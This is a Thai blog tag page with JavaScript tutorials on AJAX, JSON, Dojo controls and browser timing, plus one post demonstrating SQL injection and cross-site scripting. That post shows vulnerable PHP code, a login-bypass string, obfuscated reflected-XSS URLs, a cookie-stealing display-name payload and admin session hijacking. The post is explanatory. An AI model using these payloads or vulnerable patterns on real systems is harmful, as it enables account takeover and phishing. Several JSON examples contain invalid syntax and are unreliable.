Tag: javascript

  • รู้จักเอแจ๊กซ์ (AJAX) และการใช้งาน

    AJAX ย่อมาจากคำว่า Asynchronous JavaScript and XML ซึ่งหมายถึงการพัฒนาเว็บแอพพลิเคชั่นที่ประมวลผลในเบื้องหลังเป็นเทคนิคในการพัฒนาเว็บแอปพลิเคชันเพื่อให้สามารถโต้ตอบกับผู้ใช้ได้ดีขึ้น ทำให้ความรู้สึกการใช้งานโปรแกรมเหมือนกับเดสก์ท็อปแอปพลิเคชัน

    ปกติแล้วในภาษาสคริปต์ที่ใช้งานกับเว็บไซต์จะมีการทำงานประมวลผลแบบเป็นลำดับ (synchronous) โดยที่คำสั่งแรกจะต้องประมวลผลให้เสร็จสิ้นก่อนแล้วถึงจะทำงานในคำสั่งถัดไป แต่กระบวนการทำงานแบบเอแจ๊กซ์เมื่อบราวเซอร์ (Browser) ร้องขอข้อมูลไปยังเซิร์ฟเวอร์ (Server) บราวเซอร์จะไปทำงานคำสั่งถัดไปทันที (asynchronous) โดยที่ไม่ต้องรอการตอบกลับจากเซิร์ฟเวอร์ก่อน

    ทำให้การตอบสนองต่อผู้ใช้งานดูรวดเร็วขึ้น และเมื่อเซิร์ฟเวอร์ประมวลผลเสร็จแล้วถึงจะส่งข้อมูลกลับมาที่เอแจ๊กซ์และให้เอแจ๊กซ์ทำงานกับข้อมูลที่ส่งกลับมาอีกทีซึ่งสามารถเขียนโค้คการทำงานดังนี้

    ตัวอย่างโค้คการทำงาน AJAX ของโดยใช้ jQuery

    $.ajax({
        	type: 'GET',
        	url: 'send-ajax-data.php',
        	dataType: "JSON", // data type expected from server
        	success: function (data) {
               	console.log(data);
        	},
        	error: function(error) {
               	console.log('Error: ' + error);
        	}
    });
    

    และปัจจุบันในการเขียน JavaScript เพื่อเรียกใช้งาน AJAX นั้นเราไม่จำเป็นต้องพึ่งพา jQuery อีกต่อไปแล้วซึ่งสามารถเขียนโค้ดการทำงานได้ดังนี้

    วิธีที่ 1  ใช้ XMLHttpRequest [1]

    var request = new XMLHttpRequest();
    request.open('GET','https://tutorialzine.com/misc/files/my_url.html', true);
    
    request.onload = function (e) {
        if (request.readyState === 4) {
    
            // Check if the get was successful
            if (request.status === 200) {
                console.log(request.responseText);
            } else {
                console.error(request.statusText);
            }
        }
    };
    
    // Catch errors:
    request.onerror = function (e) {
        console.error(request.statusText);
    };
    
    request.send(null);
    

    วิธีที่ 2 ใช้ Fetch API [2]

    fetch('./api/some.json')
      .then(
        function(response) {
          if (response.status !== 200) {
            console.log('Looks like there was a problem. Status Code:' +
     response.status);
            return;
          }
    
          // Examine the text in the response
          response.json().then(function(data) {
            console.log(data);
          });
        }
      )
      .catch(function(err) {
        console.log('Fetch Error :-S', err);
      });
    

    อ้างอิง:

    https://tutorialzine.com/2014/06/10-tips-for-writing-javascript-without-jquery [1]

    https://developers.google.com/web/updates/2015/03/introduction-to-fetch [2]

    https://www.javascripttutorial.net/javascript-fetch-api/  

    วิดีโอ: https://www.youtube.com/watch?v=F1TECaRf-uA&feature=youtu.be&t=2375

  • รู้จักการจัดการข้อมูล JSON และการใช้งาน

    รูปแบบข้อมูล JSON เป็นมาตรฐานในการแลกเปลี่ยนข้อมูลระหว่างเซิฟเวอร์และไคลเอนต์ที่ได้รับความนิยมในปัจจุบันซึ่งได้ถูกนำไปใช้งานอย่างแพร่หลายเช่นการเขียนโปรแกรมโดยใช้เทคนิค AJAX, RESTFul, เขียนคอนฟิกไฟล์ หรือการพัฒนา API เป็นต้น

    ด้วยคุณสมบัติของ JSON ที่เป็นไฟล์ประเภทข้อความ (Text based) ขนาดเล็กน้ำหนักเบา เป็นมาตรฐานกลางทุกภาษาสามารถใช้งานได้ง่ายทั้งการอ่านและเขียนที่มนุษย์สามารถอ่านเข้าใจได้ง่าย

    อักขระมาตารฐานของ JSON

    1. เครื่องหมาย “:” ใช้สำหรับแยกค่า name และ value
    2. เครื่องหมาย “,” ใช้สำหรับแยกข้อมุล name-value ในแต่ละคู่
    3. เครื่องหมาย “{” และ “}” ระบุว่าข้อมูลเป็นออบเจ็ค
    4. เครื่องหมาย “[” และ “]” ระบุว่าข้อมูลเป็นอาเรย์
    5. เครื่องหมาย “” (double quotes) ใช้เขียนค่า name-value ใน JSON

    ตัวอย่างการเขียนค่า Json

    – จำนวน 1 คู่

    "name" : "value"

    – หากมีมากกว่า 1 คู่ ให้ใช้เครื่องหมายคอมมา , (comma) ในการแยกเป็นคู่

    "name" : "value", "name" : "value", "name": "value"

    – ต้วอย่าง JSON object

    {
      "name" : "mama papa",
      "email" : "mama@email.com",
    };
    

    ชนิดข้อมูลของ JSON มี 6 ชนิด คือ

    1. strings
    2. numbers
    3. objects
    4. arrays
    5. booleans
    6. null or empty

    – ตัวอย่างการใช้งานชนิดข้อมูล

    {
       "text" : "This is Sting",
       "number" : 210,
       "object" :  {
                        "name" : "abc",
                        "popularity" : "immense"
                    },
       "arary" : ["1","2","3"], 
       "empty" : ,  	
       "booleans" : true
    }
    

    การใช้งาน JSON ร่วมกับภาษา JavaScript

    – ตัวอย่างการแสดงค่า JSON objects

    var user = {
       "name" : "mama papa",
       "email" : "mama@email.com",
    };
    
    console.log("The name is:  " +user.name);
    console.log("email is:  " +user.email);
    
    //output
     The name is: mama papa
     email is: mama@email.com

    – ตัวอย่างการแสดงค่า JSON objects ใน array

    var students = [{
       "name" : "สมชาย",
       "age" :  "29",
       "gender" : "ผู้ชาย"
    },
    {
       "name" : "สมหญิง",
       "age" : "27",
       "gender" : "ผู้หญิง"
    }];
    
    console.log(students[0].age);  //output: 29
    console.log(students[1].name); //output: สมหญิง

    – ตัวอย่างการแสดงค่า JSON objects ใน objects

    var cars = {
      "toyota" : {
         "type" : "vios",
         "year" :  "2018"
      },
      "honda" : {
         "type" : "city",
         "year" : "2015"
      }
    }
    
    console.log(cars.toyota.type); //output: vios
    console.log(cars.honda.year); //output: 2015

    ทริปเล็กๆน้อยๆ

    ในการใช้งาน JSON ในภาษา JavaScript มีฟังก์ชั่นที่เราใช้งานบ่อยๆ อยู่ 2 ฟังก์ชัน คือ

    1. JSON parser สำหรับแปลง JSON object เป็น javascript object ตัวอย่างเช่น
    var myJSObject = JSON.parse(students);

     2. JSON stringify สำหรับแปลง JavaScript object เป็น JSON text

    var jsonText= JSON.stringify(myJSObject);

    (*ข้อควรระวังอย่าสับสนระหว่าง JSON object กับ  javascript object เพราะมันเป็นคนละอย่างกันนะครับ [3])

    ทริปเพิ่มเติมสำหรับการใช้งานร่วมกับภาษา PHP จะมีฟังก์ชั่น json_encode เพื่อส่งข้อมูล json ไปให้ฝั่ง javascript ไปใช้งานต่ออีกที หากเราต้องการที่จะแปลงข้อมูลให้เป็น javascript object เพื่อจะให้เรานำข้อมูล json ไปทำงานต่อไปได้ง่ายขึ้นสามารถทำดังนี้

    var jsonText= JSON.stringify(myJsonFormPHP);
    var myJSObject = JSON.parse(jsonText);

    Reference:

    https://beginnersbook.com/2015/04/json-tutorial/

    https://restfulapi.net/json-data-types/

    Javascript Object VS JSON(JavaScript Object Notation) มันคนละเรื่องกัน ? [3]

  • วิธีการ set property ของ radio button ใน Dojo

    เนื่องจากช่วงนี้ ผู้เขียนมีโอกาสได้เข้ามาอยู่ในแวดวงของ Dojo และได้ประสบกับปัญหาในการที่จะ set property ของ Dojo ซึ่งในที่นี้คือ Radio Button หลังจากที่ได้ลองผิด ลองถูก Error กันหัวหมุน  จนสุดท้ายได้เจอทางออก  เลยอยากจะบันทึกไว้สำหรับตัวเองมาดูในอนาคต และเผื่อท่านอื่นที่ประสบปัญหาเดียวกัน มาเจอจะได้ลองนำไปใช้งานกันดูค่ะ Let’s GO!!!

     

    เนื่องจาก Radio Button เป็น Control ภายใต้ dijit/form/RadioButton ดังนั้น การเขียนคำสั่งเพื่อ set property จึงได้เป็นดังนี้

    dijit.byId(‘control_id‘).set(‘control_prop‘, value);

    control_id : id ของ control นั้น ๆ

    control_prop : property ของ control ที่ต้องการกำหนดค่า

    value : ค่าที่ต้องการกำหนด

     

    ตัวอย่างเช่น ต้องการกำหนดให้ radio button ที่มี id=”rdBtn1″ ไม่สามารถใช้งานแต่ยังแสดง(disable) และ

    id=”rdBtn2″ มีค่าโดยปริยายเป็นเลือกไว้ จะเขียน Code ได้ดังนี้

    dijit.byId(‘rdBtn1’).set(‘disabled’, true); 

    dijit.byId(‘rdBtn2’).set(‘checked’, true); 

     

    ซึ่ง properties ของ control ต่าง ๆ สามารถดูเพิ่มเติมได้จากเว็ปเพจของ Dojo ตามลิงค์นี้ค่ะ Dojo Documentation

    หวังว่าบทความนี้จะเป็นประโยชน์แก่ท่านผู้อ่านไม่มาก็น้อยนะคะ แล้วพบกันใหม่ตอนหน้าค่ะ 

  • วิธีการตรวจสอบข้อมูลในรูปแบบ JSON

    ข้อมูลรูปแบบของ JSON เป็นที่นิยมใช้เป็นวิธีการส่งข้อมูลอย่างมากในปัจจุบัน ซึ่งในบ้างครั้งข้อมูลส่งจะมีความซับซ้อนหรือมีการซ้อนกันของข้อมูลหลายชั้น ทำให้การอาจเกิดข้อผิดพลาดในการสร้างข้อมูลหรือยากในการตรวจสอบข้อมูล

    ซึ่งในบทความนี้จึงขอเสนอเว็บไซต์ที่ช่วยในการตรวจสอบข้อมูลและแบ่งชั้นของข้อมูลที่ซ้อนกันหลาย ๆ ชั้น ในรูปแบบ JSON ได้ คือ https://jsonformatter.curiousconcept.com

    1

    จากรูป  มีสิ่งที่ต้องระบุหลัก ๆ คือ

    1. JSON Data/URL สามารถวางข้อมูลหรือ URL ของข้อมูลได้ทั้งสองอย่าง
    2. JSON Standard เลือกว่า JSON ของเราสร้างโดยมาตรฐานใด หรือเราอยากตรวจสอบว่า JSON ที่เราสร้างอยู่ในมาตรฐานที่เราต้องการไหม2

      เมื่อกำหนดเรียบร้อยก็กดปุ่ม Process
      3

      จากรูป ระบบจะแสดงผลการตรวจสอบว่าถูกต้องหรือไม่ และนอกจากนี้ระบบยังแบ่งชั้นข้อมูลในแต่ละระดับที่ซ้อนกันให้ ทำให้เราดูชุดข้อมูลได้ง่ายยิ่งขึ้น

      หากข้อมูลผิดล่ะ จะเป็นไง ลองทำกันดู 

      4

      ในกรณีที่ไม่ถูกต้อง ระบบจะแสดงบรรทัด ที่ไม่ถูกต้อง แล่ะเมื่อคลิก มันจะแสดงสีแดงที่บรรทัดหรืออักษรที่ไม่ถูกต้องให้เราเห็นอีกด้วย

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9

    สวัสดีปีใหม่ ปี 2557 ขอทุกท่านนประสบความสำเร็จในหน้าที่การงาน คิดหวังสิ่งใดก็สมปรารถนา และมีสุขภาพแข็งแรง ปลอดภัยตลอดทั้งปีครับ

    บทความนี้ ขอกล่าวถึงปัญหาสำคัญปัจจุบัน เรียกว่าเป็น Trends ของปีที่ผ่านมาและต่อไปในปีนี้ (2557) ด้วย นั่นคือ เรื่อง Cross Site Scripting หรือ ที่เขียนย่อๆว่า XSS

    XSS นั้น ก็คล้ายๆกับปัญหาเดิมของ SQL Injection เดิม

    SQL Inject คือ Web Form ที่ให้ผู้ใช้ป้อนข้อมูลเข้ามา ไม่ได้มีการกรองข้อมูลให้ดี จึงทำให้ Hacker สามารถ แทรกคำสั่ง SQL เข้ามา เพื่อให้สามารถ Bypass การตรวจสอบได้ เช่น ตัวอย่าง SQL Injection ที่เขียนจาก PHP ที่หน้าที่รับ username และ password เข้ามาตรวจสอบ จากฐานข้อมูล โดยคิดว่า จับคู่ได้ แล้วมีจำนวน มากกว่า 0 ก็แสดงว่า ให้ผ่านได้ ดังนี้

      <?php
      $username=$_POST['username'];
      $password=$_POST['password'];
    
      $host="localhost";
      $dbuser="root";
      $dbpass="123456";
      $dbname="xss";
      $dbtable="user";
    
      $conn = mysql_connect("$host","$dbuser","$dbpass");
      mysql_select_db("$dbname");
      $sql = "SELECT count(*) FROM $dbtable WHERE username='$username' AND password = '$password' ";
    
      $query=mysql_query($sql);
      $result=mysql_fetch_array($query);
      $count=$result[0];
    
      if ( $count > 0 ) {
            echo " Hello $username ";
      } else {
            echo "Login Fail";
      }
    
      echo "<hr>";
      echo "SQL=$sql";
    
      mysql_close($conn);
    ?>

    เมื่อทำการ Login ด้วย Username เป็น admin และ Password  เป็น yyy ซึ่งผิด

    ผลที่ได้ จะประมาณนี้

    แต่หาก ใส่ Password แทนที่จะเป็น

    yyy

    แต่ใส่เป็น

    yyy' or '1'='1

     ผลที่ได้คือ

    จะเห็นได้ว่า  การที่ไม่ตรวจสอบ Escape Character ให้ดี จึงทำให้ Hacker สามารถเข้ามาได้ โดยไม่จำเป็นต้องทราบรหัสผ่านจริงๆ, นี่คือ SQL Injection

    ส่วน XSS นั้น ก็คล้ายๆกัน แต่ แทนที่จะแทรก SQL Statement ก็ ใช้ JavaScript  แทน โดยช่องโหว่มาจากการเขียนโปรแกรมบน Web Server แต่จะส่งผลกระทบต่อ Web Browser เช่น ทำให้เกิดการ Download Malware, การถูกส่งข้อมูลส่วนตัวที่ผู้ใช้กรอกไปให้ Hacker หรือ Hacker สามารถขโมย Session ของ Admin ซึ่งเข้าใช้งาน Web Application ที่มีช่องโหว่นั้นๆได้เลยทีเดียว

    ลักษณะของ XSS [1] มี 2 แบบ

    1. แบบชั่วคราว (Non-Persistent XSS) : เมื่อ Hacker พบช่องโหว่บน Website ใด ก็จะใช้เป็นช่องทางแพร่ Malware/Virus ได้ หรือ ใช้ในการ redirect ผู้ใช้ผ่านไปยัง Phishing Website ได้ โดยใช้วิธีการแทรก JavaScript เข้าไป

    2. แบบฝังตัวถาวร (Persistent XSS) : ใช้ช่องโหว่ เพื่อเขียนข้อมูล ลงไปใน Database ซึ่ง อาจจะเป็นช่องทางในการ ขโมย Session ของ Admin ได้ โดยมักจะเกิดจาก Website ที่เปิดให้มีการสมัคร โดยไม่ตรวจสอบ หรือ ไม่มี Captcha  ทำให้ Hacker แฝงตัวเข้ามา และอาศัยช่องโหว่นี้ วางกับดัก “เผื่อ” Admin พลาดคลิกเข้า ก็อาจจะได้ Session ไป จนสามารถคุมทั้ง Website ได้ สามารถเข้ามาเป็น Admin ได้เลย

    ตัวอย่าง Non-Persistent XSS

    ถ้ามีการเขียน PHP เพื่อรับช้อมูลจากจากผู้ใช้ และ นำมาใช้งานเลย โดยไม่ตรวจสอบ ดังตัวอย่างนี้ (ชื่อ simple.php)

    <?php
    $name = $_GET['name'];
    echo "Welcome $name<br>";
    echo "<a href='http://xssattackexamples.com/'>Click to Download</a>";
    echo "</br>";
    echo "<a href='http://localhost/xss/testxss.html'>BACK</a>";
    ?>

     เช่น ใส่ค่าตัวแปร “name” เป็น “Firstname Lastname” จะได้ผลอย่างนี้

    http://localhost/xss/simple.php?name=Firstname Lastname

    จะเห็นได้ว่า จะได้ข้อความ Welcome Firstname Lastname ตามที่ใส่ในตัวแปร “name” นั่นเอง

    แต่ ถ้าใส่ JavaScript เข้าไป เพื่อให้แสดง Alert ดังนี้

    http://localhost/xss/simple.php?name=guest<script>alert("attacked")</script>

    ก็จะได้ผลดังนี้

    และ ถ้าใส่ JavaScript อีกแบบ ก็สามารถเปลี่ยน Link ที่ “Click to Download” จาก

    http://xssattackexamples.com/

    เป็น

    http://not-real-xssattackexamples.com/

     ด้วย URL ต่อไปนี้

    http://localhost/xss/simple.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>

     ก็จะได้ผลดังนี้

    ซึ่ง ถ้าคลิกที่ “Click to Download” แทนที่จะไปยัง http://xssattackexamples.com/ ก็จะไปยัง http://not-real-xssattackexamples.com/  ซึ่งเป็น Phishing Site ได้เลยทีเดียว

    แต่โดยทั่วไปแล้ว Hacker จะไม่ใส่คำสั่งที่อ่านได้ง่ายๆลงไป โดยจะเปลี่ยน Code ดังกล่าวเป็นเลขฐาน 16 แทน ด้วยคำสั่งต่อไปนี้

    echo -n "<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>" | hexdump -v -e '/1 " %02.2x"' | sed -e 's/ /%/g'

    ผลที่ได้คือ

     %3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%61%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%68%74%74%70%3a%2f%2f%6e%6f%74%2d%72%65%61%6c%2d%78%73%73%61%74%74%61%63%6b%65%78%61%6d%70%6c%65%73%2e%63%6f%6d%2f%3b%7d%3c%2f%73%63%72%69%70%74%3e

     และ ใช้ URL ต่อไปนี้ เพื่อไม่ให้ผู้ใช้ และ Admin ตรวจสอบได้ง่าย

    http://localhost/xss/simple.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e

    ตัวอย่าง Persistent XSS

    ถ้ามีการเขียน PHP ซึ่งประกอบไปด้วย login.php และ home.php โดยเก็บข้อมูลไว้ใน MySQL ใน Database ‘xss’ และตารางชื่อ ‘user’  ซึ่งมี ผู้ใช้ชื่อ admin เป็นผู้มีสิทธิ์สูงสุด สามารถเห็นรายละเอียดผู้ใช้อื่นๆได้ แต่ ถ้า Login ด้วยผู้ใช้ทั่วไป เช่น user01 ก็จะทำได้แค่ เปลี่ยน Display Name ของตัวเอง … และปัญหาอยู่ตรงที่ การเปิดให้ผู้ใช้ ใส่ Display Name ได้โดยไม่กรองข้อมูล ทำให้ Hacker สามารถ ฝัง JavaScript เข้ามาได้ ดังตัวอย่างต่อไปนี้ (Code ที่เห็น มาจาก [1] ซึ่งต่อกับฐานข้อมูล PostgreSQL ซึ่งผม ปรับเป็น MySQL)

     login.php มีหน้าตาอย่างนี้

    <?php
    if ($_POST[username] == "" ) {
    ?>
    <form method=POST action=login.php>
    <H1>Login</H1>
    Username : <input type=text name=username></br>
    Password : <input type=password name=password></br>
    <input type=submit value="Login"><input type=reset>
    </form>
    <?php
    } else {
    ?>
    <?php
    $Host= 'localhost';
    $Dbname= 'xss';
    $User= 'root';
    $Password= '123456';
    $table = 'user';
    $conn=mysql_connect("$Host","$User","$Password");
    mysql_select_db($Dbname);
    $sql="SELECT username,password from $table where username='".$_POST['username']."';";
    //echo $sql;
    $query=mysql_query($sql);
    $result=mysql_fetch_array($query);
    /*
    if (!($result=mysql_fetch_array($query))) {
     echo "User/Password Failed";
     exit(0);
    } ;
    */
    $password = $_POST['password'];
    $username = $result['username'];
    if($password != $result['password']) {
    echo "Login failed";
    }
    else {
    # Start the session
    echo "$username:$password";
    session_start();
    $_SESSION['USER_NAME'] = $username;
    echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
    }
    ?>
    <?php
    } // End if of a form
    ?>

    และ home.php มีหน้าตาอย่างนี้

    <?php
    session_start();
    if(!$_SESSION['USER_NAME']) {
    echo "Need to login";
    }
    else {
    
    $Host= 'localhost';
    $Dbname= 'xss';
    $User= 'root';
    $Password= '123456';
    $table = 'user';
    
    $conn=mysql_connect("$Host","$User","$Password");
    mysql_select_db($Dbname);
    
    $sql="SELECT username,password from $table where username='".$_POST['username']."';";
    
    $query=mysql_query($sql);
    
    $result=mysql_fetch_array($query);
    
    if($_SERVER['REQUEST_METHOD'] == "POST") {
     $sql2="update $table set display_name='".$_POST['disp_name']."' where username='".$_SESSION['USER_NAME']."';";
     $query=mysql_query($sql2);
     echo "Update Success";
    }
    else {
     if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
      echo "Welcome admin<br><hr>";
      echo "List of user's are<br>";
      $sql = "select display_name from $table where username!='admin'";
      $query= mysql_query($sql);
      while($result = mysql_fetch_array($query)) {
        echo "$result[display_name]<br>";
      }
    }
    else {
     echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
     echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
     echo "<input type=\"submit\" value=\"Update\">";
    }
    }
    }
    ?>
    </br>
    <a href=login.php>Go to Login</a></br>
    <a href=home.php>Go to Home</a></br>

    เมื่อ Admin ทำการ Login

    เมื่อใส่รหัสผ่าน ถูกต้อง จะส่งไปยัง home.php ซึ่งจะได้ผลอย่างนี้ สังเกตว่า ในหน้า Admin สามารถเห็นรายชื่อของผู้ใช้ทั้งหมดได้  หนึ่งในนั้นคือ user01

    ต่อ สมมุติ user01 เป็น Hacker เขาก็จะ Login อย่างนี้

    และที่หน้า home.php ของ user01 จะได้หน้าตาอย่างนี้

    ซึ่ง user01 จะสามารถ แก้ไข Display Name จาก “User01” เป็น

     <a href=# onclick=\"document.location=\'http://localhost/xss/xss.php?c=\'+escape\(document.cookie\)\;\">User01</a>

     และกดปุ่ม Update จะได้ผลดังนี้

    เพื่อให้ เมื่อ admin เข้ามาในหน้า home.php และเห็นชื่อของ User01 เป็น Link ดังนี้

    ถ้า admin เห็น และลองคลิกดู ก็จะทำให้ ส่งหมายเลข cookie ของ admin ไปยัง http://localhost/xss/xss.php โดยส่งผ่านตัวแปร c เพื่อเก็บข้อมูลเอาไว้ (แต่ในที่นี้ จะทำเป็นการแสดงผลออกมาแทน) ดังนี้

    ซึ่งจะพบว่า Cookie ID ของ admin ณ ขณะนั้นคือ iveovmj2eoghs02of2u7492k33

     สมมุติว่า Hacker ที่เฝ้าอยู่ พอรู้ว่า Admin คลิกแล้ว ก็จะเปิดหน้า home.php ซึ่งได้ผลอย่างนี้

     

    ใน Firefox จะมีเครื่องมือ คือ Web Developer Toolbar ซึ่งจะสามารถแก้ไขค่า Session ได้ โดยไปที่เมนู

     Tools > Web Developer > Developer Toolbar

    หรือกดปุด Shift-F2 ก็ได้

    จะปรากฏแถบสีดำ ด้านล่าง ให้ใส่คำสั่ง

    cookie list

    จะได้ผลอย่างนี้

     ต่อไป Hacker จะคลิกปุ่ม Edit เพื่อใส่ Cookie ID : iveovmj2eoghs02of2u7492k33 แทน k32vd7a6a44dpomo87i89vube6 ด้วยคำสั่งนี้

     cookie set PHPSESSID iveovmj2eoghs02of2u7492k33

    จากนั้นกดปุ่ม Enter เพื่อ สั่งเปลี่ยน Cookie ID และกดปุ่ม F5 เพื่อ Refresh หน้าจอ

    ผลที่ได้คือ Hacker สามารถ เข้าถึงหน้าจอของ Admin ได้ ดังนี้

    จากนั้น Hacker ก็จะสามารถ ทำงานทุกอย่างที่ Admin สามารถทำได้แล้วครับ

     ส่วนวิธีการตรวจสอบ และป้องกัน ขอติดไว้ก่อน จะมาเล่าให้ฟังต่อไป
    ลองอ่านพลางๆครับ

    https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
    https://www.acunetix.com/websitesecurity/xss/
    http://www.riyazwalikar.com/2010/06/multiple-joomla-xss-vulnerabilities-cve.html
    https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
    http://msdn.microsoft.com/en-us/library/aa973813.aspx

    ขอให้โชคดี

    Reference

    [1] Ramesh Natarajan. “XSS Attack Examples (Cross-Site Scripting Attacks) – The Geek Stuff.” 2012. 1 Jan. 2014 <http://www.thegeekstuff.com/2012/02/xss-attack-examples/>

  • เทคนิคในการบันทึกความเร็วของ Web Browser มาเก็บไว้ที่ Web Server

    ต่อจาก

    วิธีพัฒนา Squirrelmail Plugin – กรณี pagespeed

    เทคนิคการส่งค่าจาก PHP ให้ JavaScript

    เมื่อรู้ระยะเวลาที่ Web Browser ประมวลผลแล้ว ต่อไปก็ต้องการเก็บข้อมูลต่างๆมาเก็บที่ Web Server เพื่อบันทึกเก็บไว้วิเคราะห์ต่อไป สามารถทำได้โดยการใช้ JavaScript ส่งค่่าผ่าน HTTP GET Method มายัง PHP

    เริ่มจากสร้าง PHP  ให้ชื่อว่า getdata.php สำหรับรับค่าจาก JavaScript ที่ทำงานจาก Web Browser ของผู้ใช้ ดังนี้

    <?php
      $data=$_GET['data'];
      $h = fopen('/var/log/userview.log', 'a');
      fwrite($h, $data . "\n" );
      fclose($h)
    ?>

    สมมุติ เรียกใช้ผ่าน URL ต่อไปนี้

    http://myserver.com/getdata.php?data=xxyyzz

    ก็จะเอาค่า xxyyzz เขียนใส่ไฟล์ /var/log/userview.log และต่อท้ายไปเรื่อยๆ

    ในฝั่งของ JavaScript ให้เขียนโค๊ดดังนี้

    <SCRIPT LANGUAGE="JavaScript">
    var xmlhttp;
    var url;
    var data;
    
    data=servertime + ":" + second + ":" + total ;
    
    url="http://myserver.com/getdata.php?data=" + data;
    
     if (window.XMLHttpRequest)
        xmlhttp = new XMLHttpRequest();
     else
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    
    xmlhttp.open(\'GET\',url, true);
    xmlhttp.send();
    
    </script>

    เท่านี้ก็จะสามารถเก็บค่าต่างๆจาก Web Browser มาไว้ที่ Web Server ได้

  • เทคนิคการส่งค่าจาก PHP ให้ JavaScript

    ต่อจากตอนที่แล้ว “วิธีพัฒนา Squirrelmail Plugin – กรณี pagespeed

    จากการพัฒนา pagespeed plugin สำหรับ Squirrelmail เพื่อแสดงให้ผู้ใช้เห็นถึง “ความเร็ว” ในการประมวลผลจากฝั่ง server ได้แล้ว

    ต่อไปเราต้องการเอาดูว่า  “ความเร็ว” ในการเดินทางและแสดงผลบน Web Browser ของผู้ใช้ เป็นเท่าไหร่
    ทำได้โดยการใช้งาน JavaScript จับเวลาการทำงาน

    โดยเขียนโค๊ดต่อไปนี้ ใน ฟังก์ชั่น pagespeed_top

    echo ' <SCRIPT LANGUAGE="JavaScript">
     beforeload = (new Date()).getTime();
     </script>
     ';

    และส่วนนี้ไปในฟังก์ชั่น pagespeed_bottom

    echo ' <SCRIPT LANGUAGE="JavaScript">
     afterload = (new Date()).getTime();
     seconds = (afterload-beforeload)/1000;
     document.write("Browser Speed: " + seconds + " s");
    </script>
    ';

    เท่านี้ก็จะทราบระยะเวลาในการเดินทางและแสดงผลเสร็จบน Web Browser แล้วแสดงผลต่อผู้ใช้

    ต่อไปหากต้องการ รวมเวลาทั้งสิ้นที่ผู้ใช้ต้องรอ ตั้งแต่การทำงานที่ Squirrelmail จนกระทั้ง แสดงผลเสร็จ
    ก็ต้องเอาค่าตัวแปรจาก PHP ที่ชื่อว่า $showtime มาบวกกับตัวแปรของ JavaScript ที่ชื่อว่า seconds

    จะส่งค่าจาก PHP ให้ JavaScript อย่างไร ???

    ดูเหมือนยาก แต่จริงๆแล้ว ก็เพียงแค่ให้ PHP แสดงผลเป็นตัวแปรของ JavaScript เท่านั้น ก็สามารถทำให้ JavaScript เอาไปใช้งานต่อได้แล้ว ดังนี้

    echo ' <SCRIPT LANGUAGE="JavaScript">
       servertime = ' . $showtime . ';</SCRIPT>'  ;

    แล้วปรับแต่งโค๊ดใน pagespeed_bottom ข้างต้นเป็น

    echo ' <SCRIPT LANGUAGE="JavaScript">
       servertime = ' . $showtime . ';</SCRIPT>'  ;
    
    echo ' <SCRIPT LANGUAGE="JavaScript"> 
    afterload = (new Date()).getTime(); 
    seconds = (afterload-beforeload)/1000; 
    document.write("Browser Speed: " + seconds + " s"); 
    
    total=servertime + seconds;
    
    document.write("Total:" + total + " s");
    </script> ';

    เป็นตัวอย่างเทคนิคในการส่งค่าระหว่างการคำนวนของ PHP และ JavaScript เบื้องต้น

    ติดตามต่อไปในเรื่องของ “เทคนิคในการบันทึกความเร็วของ Web Browser มาเก็บไว้ที่ Web Server”